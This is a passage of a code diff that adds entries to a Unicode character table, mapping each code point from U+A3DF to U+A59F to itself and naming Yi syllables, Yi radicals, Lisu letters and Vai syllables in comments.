+ ["\uA3DF", "\uA3DF"], /* YI SYLLABLE RYR */
+ ["\uA3E0", "\uA3E0"], /* YI SYLLABLE JIT */
+ ["\uA3E1", "\uA3E1"], /* YI SYLLABLE JIX */
+ ["\uA3E2", "\uA3E2"], /* YI SYLLABLE JI */
+ ["\uA3E3", "\uA3E3"], /* YI SYLLABLE JIP */
+ ["\uA3E4", "\uA3E4"], /* YI SYLLABLE JIET */
+ ["\uA3E5", "\uA3E5"], /* YI SYLLABLE JIEX */
+ ["\uA3E6", "\uA3E6"], /* YI SYLLABLE JIE */
+ ["\uA3E7", "\uA3E7"], /* YI SYLLABLE JIEP */
+ ["\uA3E8", "\uA3E8"], /* YI SYLLABLE JUOT */
+ ["\uA3E9", "\uA3E9"], /* YI SYLLABLE JUOX */
+ ["\uA3EA", "\uA3EA"], /* YI SYLLABLE JUO */
+ ["\uA3EB", "\uA3EB"], /* YI SYLLABLE JUOP */
+ ["\uA3EC", "\uA3EC"], /* YI SYLLABLE JOT */
+ ["\uA3ED", "\uA3ED"], /* YI SYLLABLE JOX */
+ ["\uA3EE", "\uA3EE"], /* YI SYLLABLE JO */
+ ["\uA3EF", "\uA3EF"], /* YI SYLLABLE JOP */
+ ["\uA3F0", "\uA3F0"], /* YI SYLLABLE JUT */
+ ["\uA3F1", "\uA3F1"], /* YI SYLLABLE JUX */
+ ["\uA3F2", "\uA3F2"], /* YI SYLLABLE JU */
+ ["\uA3F3", "\uA3F3"], /* YI SYLLABLE JUP */
+ ["\uA3F4", "\uA3F4"], /* YI SYLLABLE JURX */
+ ["\uA3F5", "\uA3F5"], /* YI SYLLABLE JUR */
+ ["\uA3F6", "\uA3F6"], /* YI SYLLABLE JYT */
+ ["\uA3F7", "\uA3F7"], /* YI SYLLABLE JYX */
+ ["\uA3F8", "\uA3F8"], /* YI SYLLABLE JY */
+ ["\uA3F9", "\uA3F9"], /* YI SYLLABLE JYP */
+ ["\uA3FA", "\uA3FA"], /* YI SYLLABLE JYRX */
+ ["\uA3FB", "\uA3FB"], /* YI SYLLABLE JYR */
+ ["\uA3FC", "\uA3FC"], /* YI SYLLABLE QIT */
+ ["\uA3FD", "\uA3FD"], /* YI SYLLABLE QIX */
+ ["\uA3FE", "\uA3FE"], /* YI SYLLABLE QI */
+ ["\uA3FF", "\uA3FF"], /* YI SYLLABLE QIP */
+ ["\uA400", "\uA400"], /* YI SYLLABLE QIET */
+ ["\uA401", "\uA401"], /* YI SYLLABLE QIEX */
+ ["\uA402", "\uA402"], /* YI SYLLABLE QIE */
+ ["\uA403", "\uA403"], /* YI SYLLABLE QIEP */
+ ["\uA404", "\uA404"], /* YI SYLLABLE QUOT */
+ ["\uA405", "\uA405"], /* YI SYLLABLE QUOX */
+ ["\uA406", "\uA406"], /* YI SYLLABLE QUO */
+ ["\uA407", "\uA407"], /* YI SYLLABLE QUOP */
+ ["\uA408", "\uA408"], /* YI SYLLABLE QOT */
+ ["\uA409", "\uA409"], /* YI SYLLABLE QOX */
+ ["\uA40A", "\uA40A"], /* YI SYLLABLE QO */
+ ["\uA40B", "\uA40B"], /* YI SYLLABLE QOP */
+ ["\uA40C", "\uA40C"], /* YI SYLLABLE QUT */
+ ["\uA40D", "\uA40D"], /* YI SYLLABLE QUX */
+ ["\uA40E", "\uA40E"], /* YI SYLLABLE QU */
+ ["\uA40F", "\uA40F"], /* YI SYLLABLE QUP */
+ ["\uA410", "\uA410"], /* YI SYLLABLE QURX */
+ ["\uA411", "\uA411"], /* YI SYLLABLE QUR */
+ ["\uA412", "\uA412"], /* YI SYLLABLE QYT */
+ ["\uA413", "\uA413"], /* YI SYLLABLE QYX */
+ ["\uA414", "\uA414"], /* YI SYLLABLE QY */
+ ["\uA415", "\uA415"], /* YI SYLLABLE QYP */
+ ["\uA416", "\uA416"], /* YI SYLLABLE QYRX */
+ ["\uA417", "\uA417"], /* YI SYLLABLE QYR */
+ ["\uA418", "\uA418"], /* YI SYLLABLE JJIT */
+ ["\uA419", "\uA419"], /* YI SYLLABLE JJIX */
+ ["\uA41A", "\uA41A"], /* YI SYLLABLE JJI */
+ ["\uA41B", "\uA41B"], /* YI SYLLABLE JJIP */
+ ["\uA41C", "\uA41C"], /* YI SYLLABLE JJIET */
+ ["\uA41D", "\uA41D"], /* YI SYLLABLE JJIEX */
+ ["\uA41E", "\uA41E"], /* YI SYLLABLE JJIE */
+ ["\uA41F", "\uA41F"], /* YI SYLLABLE JJIEP */
+ ["\uA420", "\uA420"], /* YI SYLLABLE JJUOX */
+ ["\uA421", "\uA421"], /* YI SYLLABLE JJUO */
+ ["\uA422", "\uA422"], /* YI SYLLABLE JJUOP */
+ ["\uA423", "\uA423"], /* YI SYLLABLE JJOT */
+ ["\uA424", "\uA424"], /* YI SYLLABLE JJOX */
+ ["\uA425", "\uA425"], /* YI SYLLABLE JJO */
+ ["\uA426", "\uA426"], /* YI SYLLABLE JJOP */
+ ["\uA427", "\uA427"], /* YI SYLLABLE JJUT */
+ ["\uA428", "\uA428"], /* YI SYLLABLE JJUX */
+ ["\uA429", "\uA429"], /* YI SYLLABLE JJU */
+ ["\uA42A", "\uA42A"], /* YI SYLLABLE JJUP */
+ ["\uA42B", "\uA42B"], /* YI SYLLABLE JJURX */
+ ["\uA42C", "\uA42C"], /* YI SYLLABLE JJUR */
+ ["\uA42D", "\uA42D"], /* YI SYLLABLE JJYT */
+ ["\uA42E", "\uA42E"], /* YI SYLLABLE JJYX */
+ ["\uA42F", "\uA42F"], /* YI SYLLABLE JJY */
+ ["\uA430", "\uA430"], /* YI SYLLABLE JJYP */
+ ["\uA431", "\uA431"], /* YI SYLLABLE NJIT */
+ ["\uA432", "\uA432"], /* YI SYLLABLE NJIX */
+ ["\uA433", "\uA433"], /* YI SYLLABLE NJI */
+ ["\uA434", "\uA434"], /* YI SYLLABLE NJIP */
+ ["\uA435", "\uA435"], /* YI SYLLABLE NJIET */
+ ["\uA436", "\uA436"], /* YI SYLLABLE NJIEX */
+ ["\uA437", "\uA437"], /* YI SYLLABLE NJIE */
+ ["\uA438", "\uA438"], /* YI SYLLABLE NJIEP */
+ ["\uA439", "\uA439"], /* YI SYLLABLE NJUOX */
+ ["\uA43A", "\uA43A"], /* YI SYLLABLE NJUO */
+ ["\uA43B", "\uA43B"], /* YI SYLLABLE NJOT */
+ ["\uA43C", "\uA43C"], /* YI SYLLABLE NJOX */
+ ["\uA43D", "\uA43D"], /* YI SYLLABLE NJO */
+ ["\uA43E", "\uA43E"], /* YI SYLLABLE NJOP */
+ ["\uA43F", "\uA43F"], /* YI SYLLABLE NJUX */
+ ["\uA440", "\uA440"], /* YI SYLLABLE NJU */
+ ["\uA441", "\uA441"], /* YI SYLLABLE NJUP */
+ ["\uA442", "\uA442"], /* YI SYLLABLE NJURX */
+ ["\uA443", "\uA443"], /* YI SYLLABLE NJUR */
+ ["\uA444", "\uA444"], /* YI SYLLABLE NJYT */
+ ["\uA445", "\uA445"], /* YI SYLLABLE NJYX */
+ ["\uA446", "\uA446"], /* YI SYLLABLE NJY */
+ ["\uA447", "\uA447"], /* YI SYLLABLE NJYP */
+ ["\uA448", "\uA448"], /* YI SYLLABLE NJYRX */
+ ["\uA449", "\uA449"], /* YI SYLLABLE NJYR */
+ ["\uA44A", "\uA44A"], /* YI SYLLABLE NYIT */
+ ["\uA44B", "\uA44B"], /* YI SYLLABLE NYIX */
+ ["\uA44C", "\uA44C"], /* YI SYLLABLE NYI */
+ ["\uA44D", "\uA44D"], /* YI SYLLABLE NYIP */
+ ["\uA44E", "\uA44E"], /* YI SYLLABLE NYIET */
+ ["\uA44F", "\uA44F"], /* YI SYLLABLE NYIEX */
+ ["\uA450", "\uA450"], /* YI SYLLABLE NYIE */
+ ["\uA451", "\uA451"], /* YI SYLLABLE NYIEP */
+ ["\uA452", "\uA452"], /* YI SYLLABLE NYUOX */
+ ["\uA453", "\uA453"], /* YI SYLLABLE NYUO */
+ ["\uA454", "\uA454"], /* YI SYLLABLE NYUOP */
+ ["\uA455", "\uA455"], /* YI SYLLABLE NYOT */
+ ["\uA456", "\uA456"], /* YI SYLLABLE NYOX */
+ ["\uA457", "\uA457"], /* YI SYLLABLE NYO */
+ ["\uA458", "\uA458"], /* YI SYLLABLE NYOP */
+ ["\uA459", "\uA459"], /* YI SYLLABLE NYUT */
+ ["\uA45A", "\uA45A"], /* YI SYLLABLE NYUX */
+ ["\uA45B", "\uA45B"], /* YI SYLLABLE NYU */
+ ["\uA45C", "\uA45C"], /* YI SYLLABLE NYUP */
+ ["\uA45D", "\uA45D"], /* YI SYLLABLE XIT */
+ ["\uA45E", "\uA45E"], /* YI SYLLABLE XIX */
+ ["\uA45F", "\uA45F"], /* YI SYLLABLE XI */
+ ["\uA460", "\uA460"], /* YI SYLLABLE XIP */
+ ["\uA461", "\uA461"], /* YI SYLLABLE XIET */
+ ["\uA462", "\uA462"], /* YI SYLLABLE XIEX */
+ ["\uA463", "\uA463"], /* YI SYLLABLE XIE */
+ ["\uA464", "\uA464"], /* YI SYLLABLE XIEP */
+ ["\uA465", "\uA465"], /* YI SYLLABLE XUOX */
+ ["\uA466", "\uA466"], /* YI SYLLABLE XUO */
+ ["\uA467", "\uA467"], /* YI SYLLABLE XOT */
+ ["\uA468", "\uA468"], /* YI SYLLABLE XOX */
+ ["\uA469", "\uA469"], /* YI SYLLABLE XO */
+ ["\uA46A", "\uA46A"], /* YI SYLLABLE XOP */
+ ["\uA46B", "\uA46B"], /* YI SYLLABLE XYT */
+ ["\uA46C", "\uA46C"], /* YI SYLLABLE XYX */
+ ["\uA46D", "\uA46D"], /* YI SYLLABLE XY */
+ ["\uA46E", "\uA46E"], /* YI SYLLABLE XYP */
+ ["\uA46F", "\uA46F"], /* YI SYLLABLE XYRX */
+ ["\uA470", "\uA470"], /* YI SYLLABLE XYR */
+ ["\uA471", "\uA471"], /* YI SYLLABLE YIT */
+ ["\uA472", "\uA472"], /* YI SYLLABLE YIX */
+ ["\uA473", "\uA473"], /* YI SYLLABLE YI */
+ ["\uA474", "\uA474"], /* YI SYLLABLE YIP */
+ ["\uA475", "\uA475"], /* YI SYLLABLE YIET */
+ ["\uA476", "\uA476"], /* YI SYLLABLE YIEX */
+ ["\uA477", "\uA477"], /* YI SYLLABLE YIE */
+ ["\uA478", "\uA478"], /* YI SYLLABLE YIEP */
+ ["\uA479", "\uA479"], /* YI SYLLABLE YUOT */
+ ["\uA47A", "\uA47A"], /* YI SYLLABLE YUOX */
+ ["\uA47B", "\uA47B"], /* YI SYLLABLE YUO */
+ ["\uA47C", "\uA47C"], /* YI SYLLABLE YUOP */
+ ["\uA47D", "\uA47D"], /* YI SYLLABLE YOT */
+ ["\uA47E", "\uA47E"], /* YI SYLLABLE YOX */
+ ["\uA47F", "\uA47F"], /* YI SYLLABLE YO */
+ ["\uA480", "\uA480"], /* YI SYLLABLE YOP */
+ ["\uA481", "\uA481"], /* YI SYLLABLE YUT */
+ ["\uA482", "\uA482"], /* YI SYLLABLE YUX */
+ ["\uA483", "\uA483"], /* YI SYLLABLE YU */
+ ["\uA484", "\uA484"], /* YI SYLLABLE YUP */
+ ["\uA485", "\uA485"], /* YI SYLLABLE YURX */
+ ["\uA486", "\uA486"], /* YI SYLLABLE YUR */
+ ["\uA487", "\uA487"], /* YI SYLLABLE YYT */
+ ["\uA488", "\uA488"], /* YI SYLLABLE YYX */
+ ["\uA489", "\uA489"], /* YI SYLLABLE YY */
+ ["\uA48A", "\uA48A"], /* YI SYLLABLE YYP */
+ ["\uA48B", "\uA48B"], /* YI SYLLABLE YYRX */
+ ["\uA48C", "\uA48C"], /* YI SYLLABLE YYR */
+ ["\uA48D", "\uA48D"],
+ ["\uA48E", "\uA48E"],
+ ["\uA48F", "\uA48F"],
+ ["\uA490", "\uA490"], /* YI RADICAL QOT */
+ ["\uA491", "\uA491"], /* YI RADICAL LI */
+ ["\uA492", "\uA492"], /* YI RADICAL KIT */
+ ["\uA493", "\uA493"], /* YI RADICAL NYIP */
+ ["\uA494", "\uA494"], /* YI RADICAL CYP */
+ ["\uA495", "\uA495"], /* YI RADICAL SSI */
+ ["\uA496", "\uA496"], /* YI RADICAL GGOP */
+ ["\uA497", "\uA497"], /* YI RADICAL GEP */
+ ["\uA498", "\uA498"], /* YI RADICAL MI */
+ ["\uA499", "\uA499"], /* YI RADICAL HXIT */
+ ["\uA49A", "\uA49A"], /* YI RADICAL LYR */
+ ["\uA49B", "\uA49B"], /* YI RADICAL BBUT */
+ ["\uA49C", "\uA49C"], /* YI RADICAL MOP */
+ ["\uA49D", "\uA49D"], /* YI RADICAL YO */
+ ["\uA49E", "\uA49E"], /* YI RADICAL PUT */
+ ["\uA49F", "\uA49F"], /* YI RADICAL HXUO */
+ ["\uA4A0", "\uA4A0"], /* YI RADICAL TAT */
+ ["\uA4A1", "\uA4A1"], /* YI RADICAL GA */
+ ["\uA4A2", "\uA4A2"], /* YI RADICAL ZUP */
+ ["\uA4A3", "\uA4A3"], /* YI RADICAL CYT */
+ ["\uA4A4", "\uA4A4"], /* YI RADICAL DDUR */
+ ["\uA4A5", "\uA4A5"], /* YI RADICAL BUR */
+ ["\uA4A6", "\uA4A6"], /* YI RADICAL GGUO */
+ ["\uA4A7", "\uA4A7"], /* YI RADICAL NYOP */
+ ["\uA4A8", "\uA4A8"], /* YI RADICAL TU */
+ ["\uA4A9", "\uA4A9"], /* YI RADICAL OP */
+ ["\uA4AA", "\uA4AA"], /* YI RADICAL JJUT */
+ ["\uA4AB", "\uA4AB"], /* YI RADICAL ZOT */
+ ["\uA4AC", "\uA4AC"], /* YI RADICAL PYT */
+ ["\uA4AD", "\uA4AD"], /* YI RADICAL HMO */
+ ["\uA4AE", "\uA4AE"], /* YI RADICAL YIT */
+ ["\uA4AF", "\uA4AF"], /* YI RADICAL VUR */
+ ["\uA4B0", "\uA4B0"], /* YI RADICAL SHY */
+ ["\uA4B1", "\uA4B1"], /* YI RADICAL VEP */
+ ["\uA4B2", "\uA4B2"], /* YI RADICAL ZA */
+ ["\uA4B3", "\uA4B3"], /* YI RADICAL JO */
+ ["\uA4B4", "\uA4B4"], /* YI RADICAL NZUP */
+ ["\uA4B5", "\uA4B5"], /* YI RADICAL JJY */
+ ["\uA4B6", "\uA4B6"], /* YI RADICAL GOT */
+ ["\uA4B7", "\uA4B7"], /* YI RADICAL JJIE */
+ ["\uA4B8", "\uA4B8"], /* YI RADICAL WO */
+ ["\uA4B9", "\uA4B9"], /* YI RADICAL DU */
+ ["\uA4BA", "\uA4BA"], /* YI RADICAL SHUR */
+ ["\uA4BB", "\uA4BB"], /* YI RADICAL LIE */
+ ["\uA4BC", "\uA4BC"], /* YI RADICAL CY */
+ ["\uA4BD", "\uA4BD"], /* YI RADICAL CUOP */
+ ["\uA4BE", "\uA4BE"], /* YI RADICAL CIP */
+ ["\uA4BF", "\uA4BF"], /* YI RADICAL HXOP */
+ ["\uA4C0", "\uA4C0"], /* YI RADICAL SHAT */
+ ["\uA4C1", "\uA4C1"], /* YI RADICAL ZUR */
+ ["\uA4C2", "\uA4C2"], /* YI RADICAL SHOP */
+ ["\uA4C3", "\uA4C3"], /* YI RADICAL CHE */
+ ["\uA4C4", "\uA4C4"], /* YI RADICAL ZZIET */
+ ["\uA4C5", "\uA4C5"], /* YI RADICAL NBIE */
+ ["\uA4C6", "\uA4C6"], /* YI RADICAL KE */
+ ["\uA4C7", "\uA4C7"],
+ ["\uA4C8", "\uA4C8"],
+ ["\uA4C9", "\uA4C9"],
+ ["\uA4CA", "\uA4CA"],
+ ["\uA4CB", "\uA4CB"],
+ ["\uA4CC", "\uA4CC"],
+ ["\uA4CD", "\uA4CD"],
+ ["\uA4CE", "\uA4CE"],
+ ["\uA4CF", "\uA4CF"],
+ ["\uA4D0", "\uA4D0"], /* LISU LETTER BA */
+ ["\uA4D1", "\uA4D1"], /* LISU LETTER PA */
+ ["\uA4D2", "\uA4D2"], /* LISU LETTER PHA */
+ ["\uA4D3", "\uA4D3"], /* LISU LETTER DA */
+ ["\uA4D4", "\uA4D4"], /* LISU LETTER TA */
+ ["\uA4D5", "\uA4D5"], /* LISU LETTER THA */
+ ["\uA4D6", "\uA4D6"], /* LISU LETTER GA */
+ ["\uA4D7", "\uA4D7"], /* LISU LETTER KA */
+ ["\uA4D8", "\uA4D8"], /* LISU LETTER KHA */
+ ["\uA4D9", "\uA4D9"], /* LISU LETTER JA */
+ ["\uA4DA", "\uA4DA"], /* LISU LETTER CA */
+ ["\uA4DB", "\uA4DB"], /* LISU LETTER CHA */
+ ["\uA4DC", "\uA4DC"], /* LISU LETTER DZA */
+ ["\uA4DD", "\uA4DD"], /* LISU LETTER TSA */
+ ["\uA4DE", "\uA4DE"], /* LISU LETTER TSHA */
+ ["\uA4DF", "\uA4DF"], /* LISU LETTER MA */
+ ["\uA4E0", "\uA4E0"], /* LISU LETTER NA */
+ ["\uA4E1", "\uA4E1"], /* LISU LETTER LA */
+ ["\uA4E2", "\uA4E2"], /* LISU LETTER SA */
+ ["\uA4E3", "\uA4E3"], /* LISU LETTER ZHA */
+ ["\uA4E4", "\uA4E4"], /* LISU LETTER ZA */
+ ["\uA4E5", "\uA4E5"], /* LISU LETTER NGA */
+ ["\uA4E6", "\uA4E6"], /* LISU LETTER HA */
+ ["\uA4E7", "\uA4E7"], /* LISU LETTER XA */
+ ["\uA4E8", "\uA4E8"], /* LISU LETTER HHA */
+ ["\uA4E9", "\uA4E9"], /* LISU LETTER FA */
+ ["\uA4EA", "\uA4EA"], /* LISU LETTER WA */
+ ["\uA4EB", "\uA4EB"], /* LISU LETTER SHA */
+ ["\uA4EC", "\uA4EC"], /* LISU LETTER YA */
+ ["\uA4ED", "\uA4ED"], /* LISU LETTER GHA */
+ ["\uA4EE", "\uA4EE"], /* LISU LETTER A */
+ ["\uA4EF", "\uA4EF"], /* LISU LETTER AE */
+ ["\uA4F0", "\uA4F0"], /* LISU LETTER E */
+ ["\uA4F1", "\uA4F1"], /* LISU LETTER EU */
+ ["\uA4F2", "\uA4F2"], /* LISU LETTER I */
+ ["\uA4F3", "\uA4F3"], /* LISU LETTER O */
+ ["\uA4F4", "\uA4F4"], /* LISU LETTER U */
+ ["\uA4F5", "\uA4F5"], /* LISU LETTER UE */
+ ["\uA4F6", "\uA4F6"], /* LISU LETTER UH */
+ ["\uA4F7", "\uA4F7"], /* LISU LETTER OE */
+ ["\uA4F8", "\uA4F8"], /* LISU LETTER TONE MYA TI */
+ ["\uA4F9", "\uA4F9"], /* LISU LETTER TONE NA PO */
+ ["\uA4FA", "\uA4FA"], /* LISU LETTER TONE MYA CYA */
+ ["\uA4FB", "\uA4FB"], /* LISU LETTER TONE MYA BO */
+ ["\uA4FC", "\uA4FC"], /* LISU LETTER TONE MYA NA */
+ ["\uA4FD", "\uA4FD"], /* LISU LETTER TONE MYA JEU */
+ ["\uA4FE", "\uA4FE"], /* LISU PUNCTUATION COMMA */
+ ["\uA4FF", "\uA4FF"], /* LISU PUNCTUATION FULL STOP */
+ ["\uA500", "\uA500"], /* VAI SYLLABLE EE */
+ ["\uA501", "\uA501"], /* VAI SYLLABLE EEN */
+ ["\uA502", "\uA502"], /* VAI SYLLABLE HEE */
+ ["\uA503", "\uA503"], /* VAI SYLLABLE WEE */
+ ["\uA504", "\uA504"], /* VAI SYLLABLE WEEN */
+ ["\uA505", "\uA505"], /* VAI SYLLABLE PEE */
+ ["\uA506", "\uA506"], /* VAI SYLLABLE BHEE */
+ ["\uA507", "\uA507"], /* VAI SYLLABLE BEE */
+ ["\uA508", "\uA508"], /* VAI SYLLABLE MBEE */
+ ["\uA509", "\uA509"], /* VAI SYLLABLE KPEE */
+ ["\uA50A", "\uA50A"], /* VAI SYLLABLE MGBEE */
+ ["\uA50B", "\uA50B"], /* VAI SYLLABLE GBEE */
+ ["\uA50C", "\uA50C"], /* VAI SYLLABLE FEE */
+ ["\uA50D", "\uA50D"], /* VAI SYLLABLE VEE */
+ ["\uA50E", "\uA50E"], /* VAI SYLLABLE TEE */
+ ["\uA50F", "\uA50F"], /* VAI SYLLABLE THEE */
+ ["\uA510", "\uA510"], /* VAI SYLLABLE DHEE */
+ ["\uA511", "\uA511"], /* VAI SYLLABLE DHHEE */
+ ["\uA512", "\uA512"], /* VAI SYLLABLE LEE */
+ ["\uA513", "\uA513"], /* VAI SYLLABLE REE */
+ ["\uA514", "\uA514"], /* VAI SYLLABLE DEE */
+ ["\uA515", "\uA515"], /* VAI SYLLABLE NDEE */
+ ["\uA516", "\uA516"], /* VAI SYLLABLE SEE */
+ ["\uA517", "\uA517"], /* VAI SYLLABLE SHEE */
+ ["\uA518", "\uA518"], /* VAI SYLLABLE ZEE */
+ ["\uA519", "\uA519"], /* VAI SYLLABLE ZHEE */
+ ["\uA51A", "\uA51A"], /* VAI SYLLABLE CEE */
+ ["\uA51B", "\uA51B"], /* VAI SYLLABLE JEE */
+ ["\uA51C", "\uA51C"], /* VAI SYLLABLE NJEE */
+ ["\uA51D", "\uA51D"], /* VAI SYLLABLE YEE */
+ ["\uA51E", "\uA51E"], /* VAI SYLLABLE KEE */
+ ["\uA51F", "\uA51F"], /* VAI SYLLABLE NGGEE */
+ ["\uA520", "\uA520"], /* VAI SYLLABLE GEE */
+ ["\uA521", "\uA521"], /* VAI SYLLABLE MEE */
+ ["\uA522", "\uA522"], /* VAI SYLLABLE NEE */
+ ["\uA523", "\uA523"], /* VAI SYLLABLE NYEE */
+ ["\uA524", "\uA524"], /* VAI SYLLABLE I */
+ ["\uA525", "\uA525"], /* VAI SYLLABLE IN */
+ ["\uA526", "\uA526"], /* VAI SYLLABLE HI */
+ ["\uA527", "\uA527"], /* VAI SYLLABLE HIN */
+ ["\uA528", "\uA528"], /* VAI SYLLABLE WI */
+ ["\uA529", "\uA529"], /* VAI SYLLABLE WIN */
+ ["\uA52A", "\uA52A"], /* VAI SYLLABLE PI */
+ ["\uA52B", "\uA52B"], /* VAI SYLLABLE BHI */
+ ["\uA52C", "\uA52C"], /* VAI SYLLABLE BI */
+ ["\uA52D", "\uA52D"], /* VAI SYLLABLE MBI */
+ ["\uA52E", "\uA52E"], /* VAI SYLLABLE KPI */
+ ["\uA52F", "\uA52F"], /* VAI SYLLABLE MGBI */
+ ["\uA530", "\uA530"], /* VAI SYLLABLE GBI */
+ ["\uA531", "\uA531"], /* VAI SYLLABLE FI */
+ ["\uA532", "\uA532"], /* VAI SYLLABLE VI */
+ ["\uA533", "\uA533"], /* VAI SYLLABLE TI */
+ ["\uA534", "\uA534"], /* VAI SYLLABLE THI */
+ ["\uA535", "\uA535"], /* VAI SYLLABLE DHI */
+ ["\uA536", "\uA536"], /* VAI SYLLABLE DHHI */
+ ["\uA537", "\uA537"], /* VAI SYLLABLE LI */
+ ["\uA538", "\uA538"], /* VAI SYLLABLE RI */
+ ["\uA539", "\uA539"], /* VAI SYLLABLE DI */
+ ["\uA53A", "\uA53A"], /* VAI SYLLABLE NDI */
+ ["\uA53B", "\uA53B"], /* VAI SYLLABLE SI */
+ ["\uA53C", "\uA53C"], /* VAI SYLLABLE SHI */
+ ["\uA53D", "\uA53D"], /* VAI SYLLABLE ZI */
+ ["\uA53E", "\uA53E"], /* VAI SYLLABLE ZHI */
+ ["\uA53F", "\uA53F"], /* VAI SYLLABLE CI */
+ ["\uA540", "\uA540"], /* VAI SYLLABLE JI */
+ ["\uA541", "\uA541"], /* VAI SYLLABLE NJI */
+ ["\uA542", "\uA542"], /* VAI SYLLABLE YI */
+ ["\uA543", "\uA543"], /* VAI SYLLABLE KI */
+ ["\uA544", "\uA544"], /* VAI SYLLABLE NGGI */
+ ["\uA545", "\uA545"], /* VAI SYLLABLE GI */
+ ["\uA546", "\uA546"], /* VAI SYLLABLE MI */
+ ["\uA547", "\uA547"], /* VAI SYLLABLE NI */
+ ["\uA548", "\uA548"], /* VAI SYLLABLE NYI */
+ ["\uA549", "\uA549"], /* VAI SYLLABLE A */
+ ["\uA54A", "\uA54A"], /* VAI SYLLABLE AN */
+ ["\uA54B", "\uA54B"], /* VAI SYLLABLE NGAN */
+ ["\uA54C", "\uA54C"], /* VAI SYLLABLE HA */
+ ["\uA54D", "\uA54D"], /* VAI SYLLABLE HAN */
+ ["\uA54E", "\uA54E"], /* VAI SYLLABLE WA */
+ ["\uA54F", "\uA54F"], /* VAI SYLLABLE WAN */
+ ["\uA550", "\uA550"], /* VAI SYLLABLE PA */
+ ["\uA551", "\uA551"], /* VAI SYLLABLE BHA */
+ ["\uA552", "\uA552"], /* VAI SYLLABLE BA */
+ ["\uA553", "\uA553"], /* VAI SYLLABLE MBA */
+ ["\uA554", "\uA554"], /* VAI SYLLABLE KPA */
+ ["\uA555", "\uA555"], /* VAI SYLLABLE KPAN */
+ ["\uA556", "\uA556"], /* VAI SYLLABLE MGBA */
+ ["\uA557", "\uA557"], /* VAI SYLLABLE GBA */
+ ["\uA558", "\uA558"], /* VAI SYLLABLE FA */
+ ["\uA559", "\uA559"], /* VAI SYLLABLE VA */
+ ["\uA55A", "\uA55A"], /* VAI SYLLABLE TA */
+ ["\uA55B", "\uA55B"], /* VAI SYLLABLE THA */
+ ["\uA55C", "\uA55C"], /* VAI SYLLABLE DHA */
+ ["\uA55D", "\uA55D"], /* VAI SYLLABLE DHHA */
+ ["\uA55E", "\uA55E"], /* VAI SYLLABLE LA */
+ ["\uA55F", "\uA55F"], /* VAI SYLLABLE RA */
+ ["\uA560", "\uA560"], /* VAI SYLLABLE DA */
+ ["\uA561", "\uA561"], /* VAI SYLLABLE NDA */
+ ["\uA562", "\uA562"], /* VAI SYLLABLE SA */
+ ["\uA563", "\uA563"], /* VAI SYLLABLE SHA */
+ ["\uA564", "\uA564"], /* VAI SYLLABLE ZA */
+ ["\uA565", "\uA565"], /* VAI SYLLABLE ZHA */
+ ["\uA566", "\uA566"], /* VAI SYLLABLE CA */
+ ["\uA567", "\uA567"], /* VAI SYLLABLE JA */
+ ["\uA568", "\uA568"], /* VAI SYLLABLE NJA */
+ ["\uA569", "\uA569"], /* VAI SYLLABLE YA */
+ ["\uA56A", "\uA56A"], /* VAI SYLLABLE KA */
+ ["\uA56B", "\uA56B"], /* VAI SYLLABLE KAN */
+ ["\uA56C", "\uA56C"], /* VAI SYLLABLE NGGA */
+ ["\uA56D", "\uA56D"], /* VAI SYLLABLE GA */
+ ["\uA56E", "\uA56E"], /* VAI SYLLABLE MA */
+ ["\uA56F", "\uA56F"], /* VAI SYLLABLE NA */
+ ["\uA570", "\uA570"], /* VAI SYLLABLE NYA */
+ ["\uA571", "\uA571"], /* VAI SYLLABLE OO */
+ ["\uA572", "\uA572"], /* VAI SYLLABLE OON */
+ ["\uA573", "\uA573"], /* VAI SYLLABLE HOO */
+ ["\uA574", "\uA574"], /* VAI SYLLABLE WOO */
+ ["\uA575", "\uA575"], /* VAI SYLLABLE WOON */
+ ["\uA576", "\uA576"], /* VAI SYLLABLE POO */
+ ["\uA577", "\uA577"], /* VAI SYLLABLE BHOO */
+ ["\uA578", "\uA578"], /* VAI SYLLABLE BOO */
+ ["\uA579", "\uA579"], /* VAI SYLLABLE MBOO */
+ ["\uA57A", "\uA57A"], /* VAI SYLLABLE KPOO */
+ ["\uA57B", "\uA57B"], /* VAI SYLLABLE MGBOO */
+ ["\uA57C", "\uA57C"], /* VAI SYLLABLE GBOO */
+ ["\uA57D", "\uA57D"], /* VAI SYLLABLE FOO */
+ ["\uA57E", "\uA57E"], /* VAI SYLLABLE VOO */
+ ["\uA57F", "\uA57F"], /* VAI SYLLABLE TOO */
+ ["\uA580", "\uA580"], /* VAI SYLLABLE THOO */
+ ["\uA581", "\uA581"], /* VAI SYLLABLE DHOO */
+ ["\uA582", "\uA582"], /* VAI SYLLABLE DHHOO */
+ ["\uA583", "\uA583"], /* VAI SYLLABLE LOO */
+ ["\uA584", "\uA584"], /* VAI SYLLABLE ROO */
+ ["\uA585", "\uA585"], /* VAI SYLLABLE DOO */
+ ["\uA586", "\uA586"], /* VAI SYLLABLE NDOO */
+ ["\uA587", "\uA587"], /* VAI SYLLABLE SOO */
+ ["\uA588", "\uA588"], /* VAI SYLLABLE SHOO */
+ ["\uA589", "\uA589"], /* VAI SYLLABLE ZOO */
+ ["\uA58A", "\uA58A"], /* VAI SYLLABLE ZHOO */
+ ["\uA58B", "\uA58B"], /* VAI SYLLABLE COO */
+ ["\uA58C", "\uA58C"], /* VAI SYLLABLE JOO */
+ ["\uA58D", "\uA58D"], /* VAI SYLLABLE NJOO */
+ ["\uA58E", "\uA58E"], /* VAI SYLLABLE YOO */
+ ["\uA58F", "\uA58F"], /* VAI SYLLABLE KOO */
+ ["\uA590", "\uA590"], /* VAI SYLLABLE NGGOO */
+ ["\uA591", "\uA591"], /* VAI SYLLABLE GOO */
+ ["\uA592", "\uA592"], /* VAI SYLLABLE MOO */
+ ["\uA593", "\uA593"], /* VAI SYLLABLE NOO */
+ ["\uA594", "\uA594"], /* VAI SYLLABLE NYOO */
+ ["\uA595", "\uA595"], /* VAI SYLLABLE U */
+ ["\uA596", "\uA596"], /* VAI SYLLABLE UN */
+ ["\uA597", "\uA597"], /* VAI SYLLABLE HU */
+ ["\uA598", "\uA598"], /* VAI SYLLABLE HUN */
+ ["\uA599", "\uA599"], /* VAI SYLLABLE WU */
+ ["\uA59A", "\uA59A"], /* VAI SYLLABLE WUN */
+ ["\uA59B", "\uA59B"], /* VAI SYLLABLE PU */
+ ["\uA59C", "\uA59C"], /* VAI SYLLABLE BHU */
+ ["\uA59D", "\uA59D"], /* VAI SYLLABLE BU */
+ ["\uA59E", "\uA59E"], /* VAI SYLLABLE MBU */
+ ["\uA59F", "\uA59F"], /* VAI SYLLABLE KPU */
